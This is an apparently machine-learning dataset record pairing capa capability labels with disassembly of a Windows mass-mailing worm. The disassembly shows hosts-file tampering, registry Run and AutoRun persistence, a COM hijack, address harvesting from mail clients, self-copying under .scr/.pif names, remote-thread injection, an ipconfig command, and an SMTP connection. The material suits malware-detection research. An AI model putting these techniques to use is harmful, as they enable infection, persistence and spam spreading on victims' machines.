joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401caf
Capabilities:
Get file size

Disassembly:
sub esp, 0x20
push edi
mov edi, eax
push 0
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
and dword [esp + 4], 0
cmp eax, 0xa
mov dword [esp + 0xc], eax
jge 0x401cd4
xor eax, eax
jmp 0x401dbf
push ebx
push ebp
add eax, 0x17
push esi
push eax
call fcn.00402e9b
pop ecx
push eax
mov dword [esp + 0x20], eax
call fcn.004019b6
mov ebx, dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
push 0x400
push 0x40
call ebx
mov esi, eax
lea edi, [esp + 0x20]
mov ebp, esi
call fcn.00401072
xor eax, eax
cmp dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
jle 0x401da9
cmp dword [esp + 0x10], 0x37
jge 0x401da9
mov ecx, dword [esp + 0x1c]
mov al, byte [eax + ecx]
test al, al
je 0x401d96
cmp al, 0x2e
je 0x401d4d
cmp al, 0x2d
je 0x401d4d
cmp al, 0x40
jl 0x401d3d
cmp al, 0x5a
jle 0x401d4d
cmp al, 0x61
jl 0x401d45
cmp al, 0x7a
jle 0x401d4d
cmp al, 0x30
jl 0x401d5c
cmp al, 0x39
jg 0x401d5c
lea ecx, [ebp + 0x3e8]
cmp esi, ecx
ja 0x401d5c
mov byte [esi], al
inc esi
jmp 0x401d96
mov edi, ebp
call fcn.00401b05
test al, al
push ebp
je 0x401d83
call fcn.00401c81
test al, al
pop ecx
jne 0x401d82
inc dword [esp + 0x10]
push 0
push ebp
lea eax, [esp + 0x28]
call fcn.00401083
push ebp
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
push 0x400
push 0x40
call ebx
mov esi, eax
mov ebp, esi
mov eax, dword [esp + 0x14]
inc eax
cmp eax, dword [esp + 0x18]
mov dword [esp + 0x14], eax
jl 0x401d17
mov esi, dword [sym.imp.KERNEL32.DLL_GlobalFree]
push ebp
call esi
push dword [esp + 0x1c]
call esi
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x20
ret

Function at 0x401dec
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0
push 1
lea esi, [ebp - 0x10]
call fcn.0040195a
cmp eax, 0xffffffff
je 0x401e61
mov esi, dword [sym.imp.KERNEL32.DLL_GetFileSize]
push edi
push 0
push dword [ebp - 0x10]
call esi
push eax
call fcn.00402e9b
pop ecx
push eax
lea edi, [ebp - 0x10]
mov dword [ebp - 8], eax
call fcn.004019b6
push 0
push dword [ebx]
mov dword [ebp - 4], eax
call esi
push 0
push eax
mov eax, ebx
call fcn.00401dc4
push dword [ebp - 4]
push dword [ebp - 8]
push ebx
call fcn.00401a2c
push 4
lea eax, [ebp - 4]
push eax
push ebx
call fcn.00401a2c
mov esi, edi
call fcn.00401af4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
pop edi
pop esi
leave
ret
Function at 0x401e64
Capabilities:
Delete file
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, dword [ebp + 8]
push 1
push 0
lea esi, [ebp - 8]
call fcn.0040195a
cmp eax, 0xffffffff
je 0x401f35
push edi
push 2
push 0
push 0xfffffffffffffffc
push dword [ebx]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 4
pop esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov edi, eax
push edi
push ebx
call fcn.004019d1
xor esi, esi
cmp dword [ebp + 0xc], esi
jne 0x401ef1
push esi
push esi
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
sub eax, dword [edi]
sub eax, 4
mov esi, eax
lea eax, [esi + 4]
push eax
call fcn.00402e9b
pop ecx
mov edi, eax
push edi
push ebx
call fcn.004019d1
push esi
push edi
lea eax, [ebp - 8]
push eax
call fcn.00401a2c
jmp 0x401f25
push 2
push 0xfffffffffffffffc
pop eax
sub eax, dword [edi]
push eax
mov eax, ebx
call fcn.00401dc4
push dword [edi]
call fcn.00402e9b
mov esi, dword [edi]
pop ecx
push eax
push ebx
mov dword [ebp + 8], eax
call fcn.004019d1
push dword [edi]
lea eax, [ebp - 8]
push dword [ebp + 8]
push eax
call fcn.00401a2c
mov edi, dword [ebp + 8]
lea esi, [ebp - 8]
call fcn.00401af4
push edi
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
pop edi
pop esi
leave
ret 8

Function at 0x401f95
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret 4

Function at 0x40240c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push edi
push 7
xor eax, eax
pop ecx
mov byte [ebp - 4], 0
mov byte [ebp - 3], 0
lea edi, [ebp - 0x20]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x1c], 3
mov word [ebp - 0x10], 0x14
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
neg eax
sbb eax, eax
inc eax
pop edi
leave
ret
Function at 0x40244a
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
call fcn.00402d78
mov dword [ebp - 8], eax
call fcn.00402d59
push 0x200
push 0x40
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov esi, eax
mov dword [ebp - 0x10], esi
call fcn.00402e6d
test al, al
je 0x402487
push dword [ebp - 8]
push str._sdriversetchosts
jmp 0x40248f
push dword [ebp - 0xc]
push str._shosts.sam
push esi
call fcn.004057f4
add esp, 0xc
xor ebx, ebx
push ebx
mov eax, esi
push ebx
lea esi, [ebp - 0x18]
call fcn.0040195a
cmp eax, 0xffffffff
je 0x402593
push edi
push ebx
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
inc eax
push eax
call fcn.00402e9b
pop ecx
mov esi, eax
push esi
lea edi, [ebp - 0x18]
call fcn.004019b6
push dword [0x40af58]
push esi
call fcn.00402f9e
test eax, eax
pop ecx
pop ecx
jne 0x40258a
push 2
push ebx
push ebx
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov dword [ebp - 4], 0x40af58
mov ebx, str.127.0.0.1
mov edi, 0x406850
mov esi, 0x40afb0
push ebx
lea eax, [ebp - 0x18]
push eax
call fcn.00401a11
mov eax, dword [ebp - 4]
push dword [eax]
lea eax, [ebp - 0x18]
push eax
call fcn.00401a11
push edi
lea eax, [ebp - 0x18]
push eax
call fcn.00401a11
push dword [esi]
lea eax, [ebp - 0x18]
push eax
call fcn.00401a50
push ebx
lea eax, [ebp - 0x18]
push eax
call fcn.00401a11
push dword [esi]
lea eax, [ebp - 0x18]
push eax
call fcn.00401a11
push edi
lea eax, [ebp - 0x18]
push eax
call fcn.00401a11
mov eax, dword [ebp - 4]
push dword [eax]
lea eax, [ebp - 0x18]
push eax
call fcn.00401a11
push str..com
lea eax, [ebp - 0x18]
push eax
call fcn.00401a50
add esi, 4
cmp esi, 0x40b034
jl 0x402506
add dword [ebp - 4], 4
cmp dword [ebp - 4], 0x40afac
jl 0x402501
lea esi, [ebp - 0x18]
call fcn.00401af4
pop edi
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.DLL_GlobalFree]
call esi
push dword [ebp - 8]
call esi
push dword [ebp - 0xc]
call esi
pop esi
pop ebx
leave
ret
Function at 0x4025ec
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
lea edi, [ebp - 0x18]
call fcn.00401072
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x402612
push esi
call section..text
cmp eax, 0x37
jg 0x402825
push esi
call section..text
cmp eax, 0x1046a
jge 0x402825
mov edi, dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
push ebx
push 1
push 0x40
mov dword [ebp - 0xc], esi
mov byte [ebp - 0x10], 0
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push str.SOFTWAREMirabilisICQDefaultPrefs
push connect
call ebx
test eax, eax
mov esi, dword [sym.imp.KERNEL32.DLL_GlobalFree]
jne 0x402685
push str.ICQPath
lea eax, [ebp - 4]
push eax
call fcn.00403a29
push 0
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp + 8], eax
call fcn.004020ce
push dword [ebp + 8]
call esi
cmp dword [ebp - 0xc], 0x37
jge 0x402824
push 1
push 0x40
call edi
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push str.SoftwareRITThe_Bat_
push connect
call ebx
test eax, eax
jne 0x4026d2
push str.Working_Directory
lea eax, [ebp - 4]
push eax
call fcn.00403a29
push eax
mov dword [ebp - 8], eax
call fcn.00402ee0
pop ecx
push 0
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp + 8], eax
call fcn.004020ce
push dword [ebp + 8]
call esi
push dword [ebp - 8]
call esi
cmp dword [ebp - 0xc], 0x37
jge 0x402824
push 1
push 0x40
call edi
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push str.mailto_shellopencommand
push connect
call ebx
test eax, eax
jne 0x402729
push 0x406aaa
lea eax, [ebp - 4]
push eax
call fcn.00403a29
push eax
mov dword [ebp - 8], eax
call fcn.00402ee0
pop ecx
push 0
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp + 8], eax
call fcn.004020ce
push dword [ebp + 8]
call esi
push dword [ebp - 8]
call esi
cmp dword [ebp - 0xc], 0x37
jge 0x402824
push 1
push 0x40
call edi
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWABWAB4Wab_File_Name
push connect
call ebx
test eax, eax
jne 0x402780
push 0x406aaa
lea eax, [ebp - 4]
push eax
call fcn.00403a29
push eax
mov dword [ebp - 8], eax
call fcn.00402ee0
pop ecx
push 0
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp + 8], eax
call fcn.004020ce
push dword [ebp + 8]
call esi
push dword [ebp - 8]
call esi
cmp dword [ebp - 0xc], 0x37
jge 0x402824
push 1
push 0x40
call edi
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 0x40ad88
push connect
call ebx
test eax, eax
jne 0x4027d7
push str.Personal
lea eax, [ebp - 4]
push eax
call fcn.00403a29
push eax
mov dword [ebp - 8], eax
call fcn.00402ee0
pop ecx
push 0
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp + 8], eax
call fcn.004020ce
push dword [ebp + 8]
call esi
push dword [ebp - 8]
call esi
cmp dword [ebp - 0xc], 0x37
jge 0x402824
push 1
push 0x40
call edi
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 0x40ad88
push connect
call ebx
test eax, eax
jne 0x402824
push str.AppData
lea eax, [ebp - 4]
push eax
call fcn.00403a29
mov edi, eax
push edi
call fcn.00402ee0
pop ecx
mov ebx, eax
push 0
push ebx
lea ecx, [ebp - 0x14]
call fcn.004020ce
push ebx
call esi
push edi
call esi
pop ebx
pop edi
pop esi
leave
ret
Function at 0x4029fc
Capabilities:
Copy file
Create directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
call fcn.00402ca2
mov dword [ebp - 8], eax
call fcn.00402d1c
lea edi, [ebp - 0x34]
mov dword [ebp - 0x10], eax
call fcn.00401072
lea esi, [ebp - 0xc]
call fcn.00402c1e
push dword [ebp - 8]
call fcn.00402ea8
xor ebx, ebx
test al, al
pop ecx
jne 0x402a9d
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
push 6
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov edi, 0x40aeb8
push ebx
push 1
push dword [edi]
push dword [ebp - 8]
call fcn.00402829
add esp, 0x10
push 1
push eax
push dword [ebp - 0x10]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov eax, dword [ebp - 4]
push ebx
push ebx
lea esi, [ebp - 0x1c]
call fcn.0040195a
cmp eax, 0xffffffff
je 0x402a89
call fcn.004018e1
call fcn.00401af4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
add edi, 4
cmp edi, 0x40af54
jl 0x402a4e
push 0xa
lea esi, [ebp - 0xc]
mov dword [ebp - 0x18], ebx
call fcn.00402c30
add eax, 0x17
test eax, eax
jle 0x402be5
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
push 1
mov dword [ebp - 4], eax
call section..text
test eax, eax
jle 0x402bc3
push 1
lea edi, [ebp - 0x34]
call fcn.0040121d
xor edi, edi
inc edi
push edi
lea esi, [ebp - 0xc]
mov dword [ebp - 0x14], eax
call fcn.00402c30
cmp eax, edi
jne 0x402b80
push edi
push ebx
push ebx
push dword [ebp - 0x14]
push dword [ebp - 8]
call fcn.00402844
add esp, 0x14
mov dword [ebp - 4], eax
call fcn.00402f49
mov edi, eax
cmp edi, ebx
je 0x402bf5
mov bl, 0x2e
mov esi, edi
call fcn.00402ec2
inc eax
jne 0x402b2b
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
push 3
lea esi, [ebp - 0xc]
call fcn.00402c30
sub eax, 0
je 0x402b61
dec eax
je 0x402b5a
dec eax
je 0x402b53
dec eax
jne 0x402b6d
push str..scr
jmp 0x402b66
push str..bat
jmp 0x402b66
push str..pif
jmp 0x402b66
push str..exe
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push edi
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.00404e0a
add esp, 0xc
xor ebx, ebx
jmp 0x402bba
push ebx
push ebx
push dword [ebp - 0x14]
push dword [ebp - 8]
call fcn.00402829
add esp, 0x10
push edi
push eax
push dword [ebp - 0x10]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov eax, dword [ebp - 4]
push ebx
push ebx
lea esi, [ebp - 0x24]
call fcn.0040195a
cmp eax, 0xffffffff
je 0x402bba
call fcn.004018e1
call fcn.00401af4
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
inc dword [ebp - 0x18]
push 0xa
lea esi, [ebp - 0xc]
call fcn.00402c30
add eax, 0x17
cmp dword [ebp - 0x18], eax
jl 0x402ab5
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.DLL_GlobalFree]
call esi
push dword [ebp - 0x10]
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402ea8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402ebf
test eax, eax
je 0x402ebf
xor eax, eax
inc eax
ret
xor eax, eax
ret

Function at 0x4030f4
Capabilities:
Create thread
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push dword [ebp + 8]
push 8
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov ebx, eax
xor eax, eax
test ebx, ebx
mov dword [ebp - 4], ebx
je 0x4031ec
push esi
push edi
mov dword [ebp - 0x228], 0x224
mov ecx, 0x88
lea edi, [ebp - 0x224]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x228]
push eax
push ebx
call sub.KERNEL32.DLL_Module32First
test eax, eax
je 0x4031c9
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
push dword [ebp + 0xc]
lea eax, [ebp - 0x208]
push eax
call esi
test eax, eax
je 0x40317e
push dword [ebp + 0xc]
lea eax, [ebp - 0x108]
push eax
call esi
test eax, eax
je 0x40317e
lea eax, [ebp - 0x228]
push eax
push ebx
call sub.KERNEL32.DLL_Module32Next
test eax, eax
jne 0x40314b
jmp 0x4031c9
push dword [ebp + 8]
push 0
push 0x40a
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov ebx, eax
xor esi, esi
cmp ebx, esi
je 0x4031c9
push str.FreeLibrary
push str.Kernel32
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
cmp eax, esi
je 0x4031c9
push esi
push esi
push dword [ebp - 0x214]
push eax
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
mov edi, eax
cmp edi, esi
jne 0x4031cd
xor eax, eax
jmp 0x4031ea
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push edi
call esi
push ebx
call esi
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403333
Capabilities:
Get common file path

Disassembly:
push esi
push edi
call fcn.00402e30
mov esi, 0xff
push esi
push 0x40
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push dword [esp + 0xc]
call fcn.004032c5
mov esi, eax
test esi, esi
pop ecx
je 0x40337a
push edi
push esi
call fcn.004030f4
push edi
push esi
call fcn.004030be
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
pop edi
pop esi
ret

Function at 0x40337d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push edi
push 0x10
pop ecx
xor eax, eax
mov dword [ebp - 0x54], 0x44
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
pop edi
leave
ret
Function at 0x4033b2
Capabilities:
Create process on windows
Delete file
Get file size

Disassembly:
sub esp, 0x10
push ebp
push esi
push 0x406920
push 0x40adcc
push connect
lea eax, [esp + 0x18]
call fcn.00403aaf
mov ebp, dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov esi, eax
push esi
call ebp
test eax, eax
jne 0x403502
push ebx
push edi
push 1
push 0x40
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
xor edi, edi
push edi
push str.cmd.exe__C_ipconfig__all___c:ipconfig.txt
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push edi
push edi
mov eax, 0x4068e4
lea esi, [esp + 0x20]
call fcn.0040195a
cmp eax, 0xffffffff
je 0x4034e6
push edi
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
add eax, 0x17
push eax
call fcn.00402e9b
pop ecx
push eax
mov edi, esi
mov dword [esp + 0x14], eax
call fcn.004019b6
call fcn.00401af4
mov esi, dword [esp + 0x10]
test esi, esi
je 0x4034e6
mov edi, 0x40ae4c
push edi
push esi
call fcn.00402f9e
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4034e6
push edi
call ebp
add esi, eax
je 0x4034e6
push dword [esp + 0x10]
call ebp
push eax
call fcn.00402e9b
mov ebx, eax
mov edi, ebx
pop ecx
mov eax, esi
sub edi, esi
mov cl, byte [eax]
cmp cl, 0x30
jl 0x403490
cmp cl, 0x39
jle 0x403495
cmp cl, 0x2e
jne 0x40349b
mov byte [edi + eax], cl
inc eax
jmp 0x403484
cmp byte [ebx], 0x31
jne 0x4034c5
mov al, byte [ebx + 1]
cmp al, 0x36
jne 0x4034ad
cmp byte [ebx + 2], 0x39
je 0x4034b7
cmp al, 0x39
jne 0x4034c5
cmp byte [ebx + 2], 0x32
jne 0x4034c5
push 1
push 0x40
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov ebx, eax
jmp 0x403454
push ebx
call ebp
cmp eax, 7
jl 0x403454
push ebx
push 0x406920
push 0x40adcc
push connect
lea eax, [esp + 0x24]
call fcn.004039ed
mov esi, 0x40ae3c
push esi
call fcn.00401f95
test eax, eax
je 0x4034fc
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
mov eax, ebx
pop ebx
jmp 0x403504
mov eax, esi
pop esi
pop ebp
add esp, 0x10
ret

Function at 0x40359c
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
lea esi, [ebp - 0xc]
call fcn.0040195a
cmp eax, 0xffffffff
jne 0x4035b9
xor eax, eax
jmp 0x403621
push edi
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push eax
call fcn.00402e9b
pop ecx
push eax
lea edi, [ebp - 0xc]
mov dword [ebp - 4], eax
call fcn.004019b6
call fcn.00402ca2
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
push eax
call esi
push eax
push dword [ebp - 4]
call esi
push eax
call fcn.00402f9e
test eax, eax
pop ecx
pop ecx
pop edi
jne 0x403617
push 2
push ebx
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
call fcn.00402ca2
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00401a50
xor ebx, ebx
inc ebx
lea esi, [ebp - 0xc]
call fcn.00401af4
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x403b02
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push esi
lea eax, [ebp - 0x190]
push eax
push 0x101
xor esi, esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
push dword [ebp + 8]
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x403b39
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov esi, dword [eax]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [edi], esi
mov eax, edi
pop esi
leave
ret 4

Function at 0x403b4f
Capabilities:
Connect socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x403bbe
push edi
push eax
push 1
push 2
call sub.WS2_32.dll_socket
push 0x19
mov dword [esi + 0x1c], eax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp + 8]
lea edi, [ebp + 8]
mov word [ebp - 0xe], ax
call fcn.00403b02
mov eax, dword [eax]
test al, al
mov dword [ebp - 0xc], eax
pop edi
je 0x403bbe
cmp al, 0xa9
je 0x403bbe
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_connect]
neg eax
sbb al, al
inc al
jmp 0x403bc0
xor al, al
leave
ret 4

Function at 0x403bdf
Capabilities:
Send data
Send data on socket

Disassembly:
push 0
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [eax + 0x1c]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
setne al
ret 8
Function at 0x403c53
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
call fcn.00402d1c
mov edi, dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
push 1
push 0x40
mov dword [ebp - 8], eax
call edi
push 0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push 1
lea esi, [ebp - 0x14]
call fcn.0040195a
cmp eax, 0xffffffff
je 0x403dac
cmp byte [ebp + 0x10], 0
jne 0x403cbb
push 4
push 0x40
call edi
mov edi, eax
push edi
mov eax, esi
call fcn.00401a8f
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [edi]
mov dword [ecx], eax
call fcn.00401af4
push edi
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
jmp 0x403da3
push ebx
call fcn.00402dfd
push 0x200
push 0x40
mov dword [ebp - 0xc], eax
call edi
mov esi, dword [ebp + 0xc]
mov bl, 0x2e
mov dword [ebp + 0x10], eax
call fcn.00402ec2
inc eax
jne 0x403ce4
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ebx, dword [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
lea esi, [ebp + 0x10]
call fcn.00402c1e
push 3
call fcn.00402c30
sub eax, 0
je 0x403d24
dec eax
je 0x403d1d
dec eax
je 0x403d16
dec eax
jne 0x403d30
push str..scr
jmp 0x403d29
push str..bat
jmp 0x403d29
push str..pif
jmp 0x403d29
push str..exe
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
mov ebx, dword [ebp - 0xc]
push ebx
push dword [ebp - 8]
call fcn.00404e0a
add esp, 0xc
push 0
push 1
mov eax, ebx
lea esi, [ebp - 0x14]
call fcn.0040195a
cmp eax, 0xffffffff
je 0x403da2
push 4
push 0x40
call edi
mov edi, eax
push edi
mov eax, esi
call fcn.00401a8f
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [edi]
mov dword [ecx], eax
call fcn.00401af4
push ebx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 1
push 0
mov eax, ebx
call fcn.0040195a
cmp eax, 0xffffffff
je 0x403d9b
push dword [edi]
mov eax, esi
push dword [ebp - 4]
push eax
call fcn.00401a2c
call fcn.00401af4
push edi
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
pop ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret 0xc

Function at 0x40450c
Capabilities:
Check mutex on windows

Disassembly:
xor eax, eax
cmp dword [esp + 4], eax
push esi
push edi
jne 0x40451d
push str.SEARCHTHREAD
jmp 0x404530
cmp dword [esp + 0xc], 1
jne 0x40452b
push str.MAILTHREAD
jmp 0x404530
push str.MAINTHREAD
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
sub esi, 0xb7
neg esi
sbb esi, esi
push edi
inc esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov eax, esi
pop esi
ret
Function at 0x4045d2
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov ebp, str.Service_Host_Driver
push ebp
mov ebx, str.SoftwareMicrosoftWindowsCurrentVersionRun
push ebx
mov edi, connect
push edi
lea eax, [esp + 0x1c]
call fcn.00403aaf
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
mov esi, dword [sym.imp.KERNEL32.DLL_GlobalFree]
jne 0x404625
call fcn.00402d1c
push eax
push ebp
push ebx
mov dword [esp + 0x24], eax
push edi
lea eax, [esp + 0x20]
call fcn.004039ed
push dword [esp + 0x18]
call esi
push dword [esp + 0x14]
call esi
mov ebp, str.AutoRun
push ebp
mov ebx, str.SoftwareMicrosoftCommand_Processor
push ebx
push edi
lea eax, [esp + 0x1c]
call fcn.00403aaf
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jne 0x40466c
call fcn.00402d1c
push eax
push ebp
push ebx
mov dword [esp + 0x24], eax
push edi
lea eax, [esp + 0x20]
call fcn.004039ed
push dword [esp + 0x18]
call esi
push dword [esp + 0x14]
call esi
mov ebp, 0x406aaa
push ebp
mov ebx, str.CLSIDE6FB5E20_DE35_11CF_9C87_00AA005127EDInProcServer32
push ebx
mov edi, connect
push edi
lea eax, [esp + 0x1c]
call fcn.00403aaf
push str.mssvc.dll
push eax
mov dword [esp + 0x1c], eax
call fcn.00402f9e
test eax, eax
pop ecx
pop ecx
jne 0x4046be
call fcn.00402e30
push eax
push ebp
push ebx
mov dword [esp + 0x24], eax
push edi
lea eax, [esp + 0x20]
call fcn.004039ed
push dword [esp + 0x18]
call esi
push dword [esp + 0x14]
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret